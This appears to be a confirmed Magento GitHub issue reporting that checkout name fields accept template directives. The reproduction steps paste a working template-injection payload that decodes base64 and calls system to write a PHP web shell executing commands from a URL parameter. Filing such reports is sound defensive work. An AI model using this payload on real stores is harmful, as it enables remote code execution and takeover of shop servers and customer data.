Checkout address forms allow random code in the name fields #39002
Description
Preconditions and environment
Magento version - 2.4.7-p1
Steps to reproduce
- Install a fresh Magento latest version with sample data
- Add to a product to shopping cart and navigate to the checkout page (either as guest or as logged in user)
- Provide the following code in the First name and Last name fields (shipping and billing address fields)
{{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}
Expected result
Magento should not allow to proceed by throwing an error
Actual result
Magento allows the user to proceed further without throwing an error
Additional information
Similar issue is already raised and resolved here - #38331
Release note
No response
Triage and priority
- Severity: S0 - Affects critical data or functionality and leaves users without workaround.
- Severity: S1 - Affects critical data or functionality and forces users to employ a workaround.
- Severity: S2 - Affects non-critical data or functionality and forces users to employ a workaround.
- Severity: S3 - Affects non-critical data or functionality and does not force users to employ a workaround.
- Severity: S4 - Affects aesthetics, professional look and feel, “quality” or “usability”.
Metadata
Metadata
Assignees
Labels
Gate 3 Passed. Manual verification of the issue completed. Issue is confirmedA defect with this priority could have functionality issues which are not to expectations.Indicates original Magento version for the Issue report.The issue has been reproduced on latest 2.4-develop branchAffects critical data or functionality and forces users to employ a workaround.